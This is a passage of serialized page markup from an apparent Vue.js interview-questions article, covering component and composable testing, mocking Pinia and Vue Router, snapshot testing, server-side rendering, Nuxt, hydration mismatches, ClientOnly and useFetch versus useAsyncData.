-->\n",[132,19938,19939,19941,19943,19945],{"class":134,"line":149},[132,19940,139],{"class":138},[132,19942,198],{"class":142},[132,19944,201],{"class":158},[132,19946,146],{"class":138},[132,19948,19949,19951,19953,19955,19957,19959,19962],{"class":134,"line":176},[132,19950,230],{"class":209},[132,19952,7103],{"class":233},[132,19954,237],{"class":209},[132,19956,7108],{"class":158},[132,19958,3622],{"class":138},[132,19960,19961],{"class":165},"'like'",[132,19963,3636],{"class":138},[132,19965,19966,19968,19970],{"class":134,"line":186},[132,19967,179],{"class":138},[132,19969,198],{"class":142},[132,19971,146],{"class":138},[132,19973,19974],{"class":134,"line":193},[132,19975,190],{"emptyLinePlaceholder":189},[132,19977,19978,19980,19982],{"class":134,"line":206},[132,19979,139],{"class":138},[132,19981,143],{"class":142},[132,19983,146],{"class":138},[132,19985,19986,19988,19990,19992,19994,19997,20000,20002],{"class":134,"line":222},[132,19987,152],{"class":138},[132,19989,155],{"class":142},[132,19991,159],{"class":158},[132,19993,162],{"class":138},[132,19995,19996],{"class":165},"\"emit('like')\"",[132,19998,19999],{"class":138},">Like\u003C/",[132,20001,155],{"class":142},[132,20003,146],{"class":138},[132,20005,20006,20008,20010],{"class":134,"line":227},[132,20007,179],{"class":138},[132,20009,143],{"class":142},[132,20011,146],{"class":138},[123,20013,20015],{"className":388,"code":20014,"language":390,"meta":128,"style":128},"import { mount } from '@vue/test-utils'\nimport { it, expect } from 'vitest'\nimport LikeButton from './LikeButton.vue'\n\nit('emits like when clicked', async () => {\n    const wrapper = mount(LikeButton)\n\n    await wrapper.find('button').trigger('click')\n\n    expect(wrapper.emitted()).toHaveProperty('like')\n    expect(wrapper.emitted('like')).toHaveLength(1)\n})\n",[18,20016,20017,20028,20040,20052,20056,20076,20090,20094,20120,20124,20147,20171],{"__ignoreMap":128},[132,20018,20019,20021,20024,20026],{"class":134,"line":135},[132,20020,210],{"class":209},[132,20022,20023],{"class":138}," { mount } ",[132,20025,216],{"class":209},[132,20027,19841],{"class":165},[132,20029,20030,20032,20035,20037],{"class":134,"line":149},[132,20031,210],{"class":209},[132,20033,20034],{"class":138}," { it, expect } ",[132,20036,216],{"class":209},[132,20038,20039],{"class":165}," 'vitest'\n",[132,20041,20042,20044,20047,20049],{"class":134,"line":176},[132,20043,210],{"class":209},[132,20045,20046],{"class":138}," LikeButton ",[132,20048,216],{"class":209},[132,20050,20051],{"class":165}," './LikeButton.vue'\n",[132,20053,20054],{"class":134,"line":186},[132,20055,190],{"emptyLinePlaceholder":189},[132,20057,20058,20061,20063,20066,20068,20070,20072,20074],{"class":134,"line":193},[132,20059,20060],{"class":158},"it",[132,20062,243],{"class":138},[132,20064,20065],{"class":165},"'emits like when clicked'",[132,20067,581],{"class":138},[132,20069,4917],{"class":209},[132,20071,19719],{"class":138},[132,20073,2662],{"class":209},[132,20075,316],{"class":138},[132,20077,20078,20080,20083,20085,20087],{"class":134,"line":206},[132,20079,4242],{"class":209},[132,20081,20082],{"class":233}," wrapper",[132,20084,237],{"class":209},[132,20086,19869],{"class":158},[132,20088,20089],{"class":138},"(LikeButton)\n",[132,20091,20092],{"class":134,"line":222},[132,20093,190],{"emptyLinePlaceholder":189},[132,20095,20096,20098,20101,20104,20106,20108,20110,20113,20115,20118],{"class":134,"line":227},[132,20097,4945],{"class":209},[132,20099,20100],{"class":138}," wrapper.",[132,20102,20103],{"class":158},"find",[132,20105,243],{"class":138},[132,20107,19728],{"class":165},[132,20109,9122],{"class":138},[132,20111,20112],{"class":158},"trigger",[132,20114,243],{"class":138},[132,20116,20117],{"class":165},"'click'",[132,20119,249],{"class":138},[132,20121,20122],{"class":134,"line":252},[132,20123,190],{"emptyLinePlaceholder":189},[132,20125,20126,20129,20132,20135,20138,20141,20143,20145],{"class":134,"line":257},[132,20127,20128],{"class":158},"    expect",[132,20130,20131],{"class":138},"(wrapper.",[132,20133,20134],{"class":158},"emitted",[132,20136,20137],{"class":138},"()).",[132,20139,20140],{"class":158},"toHaveProperty",[132,20142,243],{"class":138},[132,20144,19961],{"class":165},[132,20146,249],{"class":138},[132,20148,20149,20151,20153,20155,20157,20159,20162,20165,20167,20169],{"class":134,"line":269},[132,20150,20128],{"class":158},[132,20152,20131],{"class":138},[132,20154,20134],{"class":158},[132,20156,243],{"class":138},[132,20158,19961],{"class":165},[132,20160,20161],{"class":138},")).",[132,20163,20164],{"class":158},"toHaveLength",[132,20166,243],{"class":138},[132,20168,1567],{"class":233},[132,20170,249],{"class":138},[132,20172,20173],{"class":134,"line":278},[132,20174,3156],{"class":138},[11,20176,20177,20178,20180,20181,20183],{},"A common gotcha is forgetting the ",[18,20179,11849],{}," before ",[18,20182,20112],{},", which can lead to assertions running before Vue has finished processing the event.",[34,20185,20187],{"id":20186},"_143-how-do-you-unit-test-a-composable-in-isolation-from-any-component","143. How do you unit test a composable in isolation from any component?",[11,20189,20190,20191,581,20193,581,20195,20197,20198,20200],{},"A composable is just a function built on top of Vue's reactivity primitives (",[18,20192,1004],{},[18,20194,629],{},[18,20196,5029],{},", and so on), so if it doesn't rely on lifecycle hooks or ",[18,20199,10033],{},", you can call it directly in a test like any other function, no component or mounting required.",[123,20202,20204],{"className":388,"code":20203,"language":390,"meta":128,"style":128},"// useCounter.js\nimport { ref } from 'vue'\n\nexport function useCounter(initial = 0) {\n    const count = ref(initial)\n    function increment() {\n        count.value++\n    }\n    return { count, increment }\n}\n",[18,20205,20206,20211,20221,20225,20244,20257,20265,20271,20275,20281],{"__ignoreMap":128},[132,20207,20208],{"class":134,"line":135},[132,20209,20210],{"class":397},"// useCounter.js\n",[132,20212,20213,20215,20217,20219],{"class":134,"line":149},[132,20214,210],{"class":209},[132,20216,213],{"class":138},[132,20218,216],{"class":209},[132,20220,219],{"class":165},[132,20222,20223],{"class":134,"line":176},[132,20224,190],{"emptyLinePlaceholder":189},[132,20226,20227,20229,20231,20233,20235,20238,20240,20242],{"class":134,"line":186},[132,20228,807],{"class":209},[132,20230,4920],{"class":209},[132,20232,4235],{"class":158},[132,20234,243],{"class":138},[132,20236,20237],{"class":697},"initial",[132,20239,237],{"class":209},[132,20241,3667],{"class":233},[132,20243,701],{"class":138},[132,20245,20246,20248,20250,20252,20254],{"class":134,"line":193},[132,20247,4242],{"class":209},[132,20249,234],{"class":233},[132,20251,237],{"class":209},[132,20253,240],{"class":158},[132,20255,20256],{"class":138},"(initial)\n",[132,20258,20259,20261,20263],{"class":134,"line":206},[132,20260,4259],{"class":209},[132,20262,263],{"class":158},[132,20264,266],{"class":138},[132,20266,20267,20269],{"class":134,"line":222},[132,20268,14944],{"class":138},[132,20270,275],{"class":209},[132,20272,20273],{"class":134,"line":227},[132,20274,870],{"class":138},[132,20276,20277,20279],{"class":134,"line":252},[132,20278,706],{"class":209},[132,20280,865],{"class":138},[132,20282,20283],{"class":134,"line":257},[132,20284,281],{"class":138},[123,20286,20288],{"className":388,"code":20287,"language":390,"meta":128,"style":128},"import { it, expect } from 'vitest'\nimport { useCounter } from './useCounter'\n\nit('increments count', () => {\n    const { count, increment } = useCounter(5)\n    increment()\n    expect(count.value).toBe(6)\n})\n",[18,20289,20290,20300,20312,20316,20331,20357,20364,20381],{"__ignoreMap":128},[132,20291,20292,20294,20296,20298],{"class":134,"line":135},[132,20293,210],{"class":209},[132,20295,20034],{"class":138},[132,20297,216],{"class":209},[132,20299,20039],{"class":165},[132,20301,20302,20304,20307,20309],{"class":134,"line":149},[132,20303,210],{"class":209},[132,20305,20306],{"class":138}," { useCounter } ",[132,20308,216],{"class":209},[132,20310,20311],{"class":165}," './useCounter'\n",[132,20313,20314],{"class":134,"line":176},[132,20315,190],{"emptyLinePlaceholder":189},[132,20317,20318,20320,20322,20325,20327,20329],{"class":134,"line":186},[132,20319,20060],{"class":158},[132,20321,243],{"class":138},[132,20323,20324],{"class":165},"'increments count'",[132,20326,14884],{"class":138},[132,20328,2662],{"class":209},[132,20330,316],{"class":138},[132,20332,20333,20335,20337,20339,20341,20344,20346,20348,20350,20352,20355],{"class":134,"line":193},[132,20334,4242],{"class":209},[132,20336,3858],{"class":138},[132,20338,3861],{"class":233},[132,20340,581],{"class":138},[132,20342,20343],{"class":233},"increment",[132,20345,3869],{"class":138},[132,20347,162],{"class":209},[132,20349,4235],{"class":158},[132,20351,243],{"class":138},[132,20353,20354],{"class":233},"5",[132,20356,249],{"class":138},[132,20358,20359,20362],{"class":134,"line":206},[132,20360,20361],{"class":158},"    increment",[132,20363,4951],{"class":138},[132,20365,20366,20368,20371,20374,20376,20379],{"class":134,"line":222},[132,20367,20128],{"class":158},[132,20369,20370],{"class":138},"(count.value).",[132,20372,20373],{"class":158},"toBe",[132,20375,243],{"class":138},[132,20377,20378],{"class":233},"6",[132,20380,249],{"class":138},[132,20382,20383],{"class":134,"line":227},[132,20384,3156],{"class":138},[11,20386,20387,20388,20390,20391,4319,20393,20395,20396,20398,20399,20402],{},"If a composable does depend on lifecycle hooks like ",[18,20389,10789],{},", or on ",[18,20392,10030],{},[18,20394,10033],{},", it needs a component instance to run inside. The usual approach is to mount a small throwaway component whose ",[18,20397,968],{}," just calls the composable, then assert against what it exposes, either through the returned template refs or by exposing values via ",[18,20400,20401],{},"expose()",". This keeps the test focused on the composable's logic while still giving Vue a valid instance to attach the lifecycle hooks to.",[34,20404,20406],{"id":20405},"_144-how-do-you-mock-vue-router-or-a-pinia-store-inside-a-component-test","144. How do you mock Vue Router or a Pinia store inside a component test?",[11,20408,20409,20410,18872,20413,20416,20417,20420],{},"For Pinia, the recommended approach is ",[18,20411,20412],{},"createTestingPinia",[18,20414,20415],{},"@pinia/testing",". It creates a real Pinia instance but automatically replaces every store action with a spy (so no real logic or network calls run) and lets you seed ",[18,20418,20419],{},"initialState"," directly, so a component reading from a store doesn't need the store's actual implementation to be correct.",[123,20422,20424],{"className":388,"code":20423,"language":390,"meta":128,"style":128},"import { mount } from '@vue/test-utils'\nimport { createTestingPinia } from '@pinia/testing'\nimport UserProfile from './UserProfile.vue'\n\nconst wrapper = mount(UserProfile, {\n    global: {\n        plugins: [createTestingPinia({\n            initialState: { user: { name: 'Ada' } },\n        })],\n    },\n})\n",[18,20425,20426,20436,20448,20460,20464,20477,20482,20491,20501,20506,20510],{"__ignoreMap":128},[132,20427,20428,20430,20432,20434],{"class":134,"line":135},[132,20429,210],{"class":209},[132,20431,20023],{"class":138},[132,20433,216],{"class":209},[132,20435,19841],{"class":165},[132,20437,20438,20440,20443,20445],{"class":134,"line":149},[132,20439,210],{"class":209},[132,20441,20442],{"class":138}," { createTestingPinia } ",[132,20444,216],{"class":209},[132,20446,20447],{"class":165}," '@pinia/testing'\n",[132,20449,20450,20452,20455,20457],{"class":134,"line":176},[132,20451,210],{"class":209},[132,20453,20454],{"class":138}," UserProfile ",[132,20456,216],{"class":209},[132,20458,20459],{"class":165}," './UserProfile.vue'\n",[132,20461,20462],{"class":134,"line":186},[132,20463,190],{"emptyLinePlaceholder":189},[132,20465,20466,20468,20470,20472,20474],{"class":134,"line":193},[132,20467,230],{"class":209},[132,20469,20082],{"class":233},[132,20471,237],{"class":209},[132,20473,19869],{"class":158},[132,20475,20476],{"class":138},"(UserProfile, {\n",[132,20478,20479],{"class":134,"line":206},[132,20480,20481],{"class":138},"    global: {\n",[132,20483,20484,20487,20489],{"class":134,"line":222},[132,20485,20486],{"class":138},"        plugins: [",[132,20488,20412],{"class":158},[132,20490,4542],{"class":138},[132,20492,20493,20496,20498],{"class":134,"line":227},[132,20494,20495],{"class":138},"            initialState: { user: { name: ",[132,20497,5754],{"class":165},[132,20499,20500],{"class":138}," } },\n",[132,20502,20503],{"class":134,"line":252},[132,20504,20505],{"class":138},"        })],\n",[132,20507,20508],{"class":134,"line":257},[132,20509,5830],{"class":138},[132,20511,20512],{"class":134,"line":269},[132,20513,3156],{"class":138},[11,20515,20516,20517,20520,20521,4319,20524,20527],{},"For Vue Router, the cleanest option is to install a real router built with ",[18,20518,20519],{},"createMemoryHistory"," (rather than a browser history), pushed to whatever route the test needs, then passed in as a global plugin. This gives you real ",[18,20522,20523],{},"$route",[18,20525,20526],{},"$router"," behavior without a browser.",[123,20529,20531],{"className":388,"code":20530,"language":390,"meta":128,"style":128},"import { createRouter, createMemoryHistory } from 'vue-router'\nimport { mount } from '@vue/test-utils'\n\nconst router = createRouter({\n    history: createMemoryHistory(),\n    routes: [{ path: '/', component: Home }, { path: '/about', component: About }],\n})\n\nrouter.push('/about')\nawait router.isReady()\n\nconst wrapper = mount(App, {\n    global: { plugins: [router] },\n})\n",[18,20532,20533,20544,20554,20558,20570,20578,20593,20597,20601,20613,20625,20629,20642,20647],{"__ignoreMap":128},[132,20534,20535,20537,20540,20542],{"class":134,"line":135},[132,20536,210],{"class":209},[132,20538,20539],{"class":138}," { createRouter, createMemoryHistory } ",[132,20541,216],{"class":209},[132,20543,13032],{"class":165},[132,20545,20546,20548,20550,20552],{"class":134,"line":149},[132,20547,210],{"class":209},[132,20549,20023],{"class":138},[132,20551,216],{"class":209},[132,20553,19841],{"class":165},[132,20555,20556],{"class":134,"line":176},[132,20557,190],{"emptyLinePlaceholder":189},[132,20559,20560,20562,20564,20566,20568],{"class":134,"line":186},[132,20561,230],{"class":209},[132,20563,13108],{"class":233},[132,20565,237],{"class":209},[132,20567,13113],{"class":158},[132,20569,4542],{"class":138},[132,20571,20572,20574,20576],{"class":134,"line":193},[132,20573,13120],{"class":138},[132,20575,20519],{"class":158},[132,20577,13126],{"class":138},[132,20579,20580,20583,20585,20588,20590],{"class":134,"line":206},[132,20581,20582],{"class":138},"    routes: [{ path: ",[132,20584,13080],{"class":165},[132,20586,20587],{"class":138},", component: Home }, { path: ",[132,20589,13090],{"class":165},[132,20591,20592],{"class":138},", component: About }],\n",[132,20594,20595],{"class":134,"line":222},[132,20596,3156],{"class":138},[132,20598,20599],{"class":134,"line":227},[132,20600,190],{"emptyLinePlaceholder":189},[132,20602,20603,20605,20607,20609,20611],{"class":134,"line":252},[132,20604,13847],{"class":138},[132,20606,3560],{"class":158},[132,20608,243],{"class":138},[132,20610,13090],{"class":165},[132,20612,249],{"class":138},[132,20614,20615,20617,20620,20623],{"class":134,"line":257},[132,20616,11849],{"class":209},[132,20618,20619],{"class":138}," router.",[132,20621,20622],{"class":158},"isReady",[132,20624,4951],{"class":138},[132,20626,20627],{"class":134,"line":269},[132,20628,190],{"emptyLinePlaceholder":189},[132,20630,20631,20633,20635,20637,20639],{"class":134,"line":278},[132,20632,230],{"class":209},[132,20634,20082],{"class":233},[132,20636,237],{"class":209},[132,20638,19869],{"class":158},[132,20640,20641],{"class":138},"(App, {\n",[132,20643,20644],{"class":134,"line":284},[132,20645,20646],{"class":138},"    global: { plugins: [router] },\n",[132,20648,20649],{"class":134,"line":293},[132,20650,3156],{"class":138},[11,20652,20653,20654,20657,20658,20660,20661,385],{},"For simpler cases where a component just reads ",[18,20655,20656],{},"route.params"," or calls ",[18,20659,14496],{},", you can skip a real router entirely and provide lightweight mocks through ",[18,20662,20663],{},"global.mocks",[34,20665,20667],{"id":20666},"_145-what-is-snapshot-testing-and-what-are-its-tradeoffs-for-vue-components","145. What is snapshot testing, and what are its tradeoffs for Vue components?",[11,20669,20670,20671,20674],{},"Snapshot testing renders a component, serializes its output (usually with ",[18,20672,20673],{},"wrapper.html()","), and saves that output to a file. On later test runs, the current output is compared against the saved snapshot; if anything differs, the test fails and you decide whether the change is an intended update (in which case you update the snapshot) or a real regression.",[123,20676,20678],{"className":388,"code":20677,"language":390,"meta":128,"style":128},"import { mount } from '@vue/test-utils'\nimport { it, expect } from 'vitest'\nimport Badge from './Badge.vue'\n\nit('matches snapshot', () => {\n    const wrapper = mount(Badge, { props: { label: 'New' } })\n    expect(wrapper.html()).toMatchSnapshot()\n})\n",[18,20679,20680,20690,20700,20712,20716,20731,20748,20763],{"__ignoreMap":128},[132,20681,20682,20684,20686,20688],{"class":134,"line":135},[132,20683,210],{"class":209},[132,20685,20023],{"class":138},[132,20687,216],{"class":209},[132,20689,19841],{"class":165},[132,20691,20692,20694,20696,20698],{"class":134,"line":149},[132,20693,210],{"class":209},[132,20695,20034],{"class":138},[132,20697,216],{"class":209},[132,20699,20039],{"class":165},[132,20701,20702,20704,20707,20709],{"class":134,"line":176},[132,20703,210],{"class":209},[132,20705,20706],{"class":138}," Badge ",[132,20708,216],{"class":209},[132,20710,20711],{"class":165}," './Badge.vue'\n",[132,20713,20714],{"class":134,"line":186},[132,20715,190],{"emptyLinePlaceholder":189},[132,20717,20718,20720,20722,20725,20727,20729],{"class":134,"line":193},[132,20719,20060],{"class":158},[132,20721,243],{"class":138},[132,20723,20724],{"class":165},"'matches snapshot'",[132,20726,14884],{"class":138},[132,20728,2662],{"class":209},[132,20730,316],{"class":138},[132,20732,20733,20735,20737,20739,20741,20744,20746],{"class":134,"line":206},[132,20734,4242],{"class":209},[132,20736,20082],{"class":233},[132,20738,237],{"class":209},[132,20740,19869],{"class":158},[132,20742,20743],{"class":138},"(Badge, { props: { label: ",[132,20745,4414],{"class":165},[132,20747,4388],{"class":138},[132,20749,20750,20752,20754,20756,20758,20761],{"class":134,"line":222},[132,20751,20128],{"class":158},[132,20753,20131],{"class":138},[132,20755,2952],{"class":158},[132,20757,20137],{"class":138},[132,20759,20760],{"class":158},"toMatchSnapshot",[132,20762,4951],{"class":138},[132,20764,20765],{"class":134,"line":227},[132,20766,3156],{"class":138},[11,20768,20769],{},"The upside is speed: you get regression coverage on markup with almost no test-writing effort, which is handy for stable, mostly presentational components. The tradeoffs are real, though. Snapshots don't test behavior, only output shape, so a snapshot passing tells you nothing about whether an emitted event or a computed value is correct. They also tend to grow stale; developers get into the habit of running the \"update snapshots\" command without carefully reviewing the diff, which defeats the purpose. And snapshots are brittle against unrelated markup changes (a class name tweak fails every snapshot that touches that component) and against dynamic content like generated ids or timestamps, unless you specifically mock or strip those. In practice, snapshot testing works best sparingly, for a handful of stable UI components, alongside explicit assertions on props, emitted events, and text content for anything that actually has logic.",[29,20771,20773],{"id":20772},"server-side-rendering-and-nuxt","Server-Side Rendering and Nuxt",[34,20775,20777],{"id":20776},"_146-what-is-server-side-rendering-ssr-and-what-specific-benefits-does-it-bring-to-a-vue-application","146. What is server-side rendering (SSR), and what specific benefits does it bring to a Vue application?",[11,20779,20780,20781,20784],{},"Server-side rendering means running your Vue component tree on the server for each request and sending the browser a fully formed HTML page, instead of an empty shell that JavaScript fills in later. In a plain client-rendered Vue app, the initial response is close to ",[18,20782,20783],{},"\u003Cdiv id=\"app\">\u003C/div>",", and the user sees nothing meaningful until the JS bundle downloads, parses, and Vue mounts and renders the tree. With SSR, that rendering already happened on the server, so the browser can paint real content immediately.",[11,20786,20787],{},"This brings two concrete benefits. First, faster perceived performance, particularly on slow networks or devices, since there's visible content before any JavaScript has run. Second, better SEO and link-preview support, since crawlers and social media bots that don't execute JavaScript (or execute it poorly) still receive complete HTML. The tradeoff is that the server now has to do rendering work on every request, and the app needs to run in a Node environment, which is part of why Nuxt exists, to handle that server-side rendering setup for you.",[34,20789,20791],{"id":20790},"_147-what-is-nuxt-and-how-does-it-relate-to-vue","147. What is Nuxt, and how does it relate to Vue?",[11,20793,20794,20795,20798,20799,385],{},"Nuxt is the official meta-framework built on top of Vue. Vue itself is just the component and reactivity library; it doesn't dictate how routing, data fetching conventions, server rendering, or deployment work. Nuxt fills in that layer: it adds file-based routing (files in ",[18,20796,20797],{},"pages/"," automatically become routes), auto-imports (components and composables are available without manual import statements), a Nitro server engine that can run API routes and server middleware alongside your app, and hybrid rendering, where you choose per-route whether a page is server-rendered, statically prerendered, or client-rendered, via ",[18,20800,20801],{},"routeRules",[11,20803,20804],{},"A useful analogy: Nuxt is to Vue roughly what Next.js is to React. You could hand-wire Vue Router, Vite, an SSR entry point, and a Node server yourself, but Nuxt packages all of that into sensible conventions so you write pages and components and get routing, SSR, and deployment mostly for free.",[34,20806,20808],{"id":20807},"_148-what-is-hydration-and-what-causes-a-hydration-mismatch-in-an-ssr-vue-app","148. What is hydration, and what causes a hydration mismatch in an SSR Vue app?",[11,20810,20811],{},"Hydration is the process of taking HTML that the server already rendered and making it interactive on the client, without throwing it away and re-rendering from scratch. Vue walks the existing DOM nodes the server produced, matches them up against its virtual DOM tree, and attaches the event listeners and reactive bindings needed to turn static markup into a live, working app. Because it reuses the DOM nodes instead of recreating them, hydration is much cheaper than a full client render.",[11,20813,20814],{},[1268,20815],{"alt":20816,"src":20817},"Vue SSR hydration flow diagram","/post-images/top-150-vuejs-interview-questions/vue-ssr-hydration-flow-diagram.png",[11,20819,20820,20821,581,20823,581,20825,17731,20828,20831,20832,20834,20835,20837],{},"A hydration mismatch happens when the HTML Vue expects to produce on the client doesn't match what the server actually sent. The most common cause is using a browser-only API during render, things like ",[18,20822,11697],{},[18,20824,6033],{},[18,20826,20827],{},"Date.now()",[18,20829,20830],{},"Math.random()",", since those produce different values (or throw) on the server versus the client. It can also come from invalid HTML nesting that the browser silently auto-corrects (for example a ",[18,20833,8232],{}," placed inside a ",[18,20836,17836],{},"), which changes the DOM structure the browser hands back versus what the server sent. When Vue detects the mismatch, it warns in the console and, in development, patches the affected DOM to match the client's version, which causes a visible flicker and throws away the performance benefit SSR was supposed to provide for that part of the page.",[123,20839,20841],{"className":125,"code":20840,"language":127,"meta":128,"style":128},"\u003Cscript setup>\n// bad: differs between server render and client render\nconst now = Date.now()\n\u003C/script>\n\n\u003Ctemplate>\n    \u003Cp>{{ now }}\u003C/p>\n\u003C/template>\n",[18,20842,20843,20853,20858,20875,20883,20887,20895,20908],{"__ignoreMap":128},[132,20844,20845,20847,20849,20851],{"class":134,"line":135},[132,20846,139],{"class":138},[132,20848,198],{"class":142},[132,20850,201],{"class":158},[132,20852,146],{"class":138},[132,20854,20855],{"class":134,"line":149},[132,20856,20857],{"class":397},"// bad: differs between server render and client render\n",[132,20859,20860,20862,20865,20867,20870,20873],{"class":134,"line":176},[132,20861,230],{"class":209},[132,20863,20864],{"class":233}," now",[132,20866,237],{"class":209},[132,20868,20869],{"class":138}," Date.",[132,20871,20872],{"class":158},"now",[132,20874,4951],{"class":138},[132,20876,20877,20879,20881],{"class":134,"line":186},[132,20878,179],{"class":138},[132,20880,198],{"class":142},[132,20882,146],{"class":138},[132,20884,20885],{"class":134,"line":193},[132,20886,190],{"emptyLinePlaceholder":189},[132,20888,20889,20891,20893],{"class":134,"line":206},[132,20890,139],{"class":138},[132,20892,143],{"class":142},[132,20894,146],{"class":138},[132,20896,20897,20899,20901,20904,20906],{"class":134,"line":222},[132,20898,152],{"class":138},[132,20900,11],{"class":142},[132,20902,20903],{"class":138},">{{ now }}\u003C/",[132,20905,11],{"class":142},[132,20907,146],{"class":138},[132,20909,20910,20912,20914],{"class":134,"line":227},[132,20911,179],{"class":138},[132,20913,143],{"class":142},[132,20915,146],{"class":138},[11,20917,20918,20919,20921,20922,385],{},"The fix is usually to compute anything environment-dependent inside ",[18,20920,10789],{}," (so it only ever runs on the client) or to wrap that part of the template in ",[18,20923,20924],{},"\u003CClientOnly>",[34,20926,20928,20929,20931],{"id":20927},"_149-what-is-the-clientonly-component-used-for","149. What is the ",[18,20930,20924],{}," component used for?",[11,20933,20934,20936],{},[18,20935,20924],{}," is a Nuxt component that renders its default slot only on the client, and skips it entirely during server-side rendering. It's used for anything that depends on browser-only APIs or assumes a real DOM to work, common examples being chart libraries, rich text editors, or animation libraries that would either throw an error during SSR or produce output that doesn't match what the client renders, causing a hydration mismatch.",[123,20938,20940],{"className":125,"code":20939,"language":127,"meta":128,"style":128},"\u003Ctemplate>\n    \u003CClientOnly>\n        \u003CHeavyChart :data=\"chartData\" />\n        \u003Ctemplate #fallback>\n            \u003Cp>Loading chart...\u003C/p>\n        \u003C/template>\n    \u003C/ClientOnly>\n\u003C/template>\n",[18,20941,20942,20950,20959,20976,20988,21001,21009,21017],{"__ignoreMap":128},[132,20943,20944,20946,20948],{"class":134,"line":135},[132,20945,139],{"class":138},[132,20947,143],{"class":142},[132,20949,146],{"class":138},[132,20951,20952,20954,20957],{"class":134,"line":149},[132,20953,152],{"class":138},[132,20955,20956],{"class":142},"ClientOnly",[132,20958,146],{"class":138},[132,20960,20961,20963,20966,20969,20971,20974],{"class":134,"line":176},[132,20962,1489],{"class":138},[132,20964,20965],{"class":142},"HeavyChart",[132,20967,20968],{"class":158}," :data",[132,20970,162],{"class":138},[132,20972,20973],{"class":165},"\"chartData\"",[132,20975,1287],{"class":138},[132,20977,20978,20980,20982,20984,20986],{"class":134,"line":186},[132,20979,1489],{"class":138},[132,20981,143],{"class":142},[132,20983,9744],{"class":138},[132,20985,18623],{"class":158},[132,20987,146],{"class":138},[132,20989,20990,20992,20994,20997,20999],{"class":134,"line":193},[132,20991,9376],{"class":138},[132,20993,11],{"class":142},[132,20995,20996],{"class":138},">Loading chart...\u003C/",[132,20998,11],{"class":142},[132,21000,146],{"class":138},[132,21002,21003,21005,21007],{"class":134,"line":206},[132,21004,1519],{"class":138},[132,21006,143],{"class":142},[132,21008,146],{"class":138},[132,21010,21011,21013,21015],{"class":134,"line":222},[132,21012,1528],{"class":138},[132,21014,20956],{"class":142},[132,21016,146],{"class":138},[132,21018,21019,21021,21023],{"class":134,"line":227},[132,21020,179],{"class":138},[132,21022,143],{"class":142},[132,21024,146],{"class":138},[11,21026,21027,21028,21030],{},"The optional ",[18,21029,18677],{}," slot renders on the server (and briefly on the client before hydration finishes), which lets you show a placeholder instead of leaving an empty gap and avoids layout shift once the real content mounts.",[34,21032,21034,21035,592,21037,21040],{"id":21033},"_150-what-is-the-difference-between-nuxts-usefetch-and-useasyncdata-for-data-fetching","150. What is the difference between Nuxt's ",[18,21036,12978],{},[18,21038,21039],{},"useAsyncData"," for data fetching?",[11,21042,21043,21044,1556,21047,21049,21050,21053],{},"Both are Nuxt composables for fetching data in a way that's SSR-aware: they run during server rendering, serialize the result into the page payload, and skip re-fetching on the client during hydration, avoiding the double-fetch problem you'd get from calling a plain ",[18,21045,21046],{},"fetch",[18,21048,10789],{},". Both also return the same shape, ",[18,21051,21052],{},"{ data, pending, error, refresh }",", and integrate with Nuxt's loading and Suspense handling.",[11,21055,21056,21057,21060,21061,21063,21064,21067],{},"The difference is scope. ",[18,21058,21059],{},"useFetch(url, options)"," is a thin, convenient wrapper around ",[18,21062,21039],{}," plus ",[18,21065,21066],{},"$fetch",", purpose-built for \"call this URL.\" It generates a cache key from the URL and options automatically, so you don't have to think about it.",[11,21069,21070,21073],{},[18,21071,21072],{},"useAsyncData(key, handler)"," is the more general primitive. The handler can be any async function, not just a single URL call, so it's what you reach for when you need to combine multiple requests, call a Pinia store action, or run logic that isn't a plain fetch. You're expected to provide the key yourself.",[123,21075,21077],{"className":388,"code":21076,"language":390,"meta":128,"style":128},"// useFetch: shorthand for a single endpoint\nconst { data: posts } = await useFetch('/api/posts')\n\n// useAsyncData: custom or combined logic\nconst { data: dashboard } = await useAsyncData('dashboard', async () => {\n    const [posts, user] = await Promise.all([\n        $fetch('/api/posts'),\n        $fetch('/api/user'),\n    ])\n    return { posts, user }\n})\n",[18,21078,21079,21084,21113,21117,21122,21159,21189,21200,21210,21215,21222],{"__ignoreMap":128},[132,21080,21081],{"class":134,"line":135},[132,21082,21083],{"class":397},"// useFetch: shorthand for a single endpoint\n",[132,21085,21086,21088,21090,21092,21094,21097,21099,21101,21103,21106,21108,21111],{"class":134,"line":149},[132,21087,230],{"class":209},[132,21089,3858],{"class":138},[132,21091,622],{"class":697},[132,21093,325],{"class":138},[132,21095,21096],{"class":233},"posts",[132,21098,3869],{"class":138},[132,21100,162],{"class":209},[132,21102,15127],{"class":209},[132,21104,21105],{"class":158}," useFetch",[132,21107,243],{"class":138},[132,21109,21110],{"class":165},"'/api/posts'",[132,21112,249],{"class":138},[132,21114,21115],{"class":134,"line":176},[132,21116,190],{"emptyLinePlaceholder":189},[132,21118,21119],{"class":134,"line":186},[132,21120,21121],{"class":397},"// useAsyncData: custom or combined logic\n",[132,21123,21124,21126,21128,21130,21132,21135,21137,21139,21141,21144,21146,21149,21151,21153,21155,21157],{"class":134,"line":193},[132,21125,230],{"class":209},[132,21127,3858],{"class":138},[132,21129,622],{"class":697},[132,21131,325],{"class":138},[132,21133,21134],{"class":233},"dashboard",[132,21136,3869],{"class":138},[132,21138,162],{"class":209},[132,21140,15127],{"class":209},[132,21142,21143],{"class":158}," useAsyncData",[132,21145,243],{"class":138},[132,21147,21148],{"class":165},"'dashboard'",[132,21150,581],{"class":138},[132,21152,4917],{"class":209},[132,21154,19719],{"class":138},[132,21156,2662],{"class":209},[132,21158,316],{"class":138},[132,21160,21161,21163,21165,21167,21169,21172,21174,21176,21178,21181,21183,21186],{"class":134,"line":206},[132,21162,4242],{"class":209},[132,21164,5849],{"class":138},[132,21166,21096],{"class":233},[132,21168,581],{"class":138},[132,21170,21171],{"class":233},"user",[132,21173,3646],{"class":138},[132,21175,162],{"class":209},[132,21177,15127],{"class":209},[132,21179,21180],{"class":233}," Promise",[132,21182,385],{"class":138},[132,21184,21185],{"class":158},"all",[132,21187,21188],{"class":138},"([\n",[132,21190,21191,21194,21196,21198],{"class":134,"line":222},[132,21192,21193],{"class":158},"        $fetch",[132,21195,243],{"class":138},[132,21197,21110],{"class":165},[132,21199,17667],{"class":138},[132,21201,21202,21204,21206,21208],{"class":134,"line":227},[132,21203,21193],{"class":158},[132,21205,243],{"class":138},[132,21207,18498],{"class":165},[132,21209,17667],{"class":138},[132,21211,21212],{"class":134,"line":252},[132,21213,21214],{"class":138},"    ])\n",[132,21216,21217,21219],{"class":134,"line":257},[132,21218,706],{"class":209},[132,21220,21221],{"class":138}," { posts, user 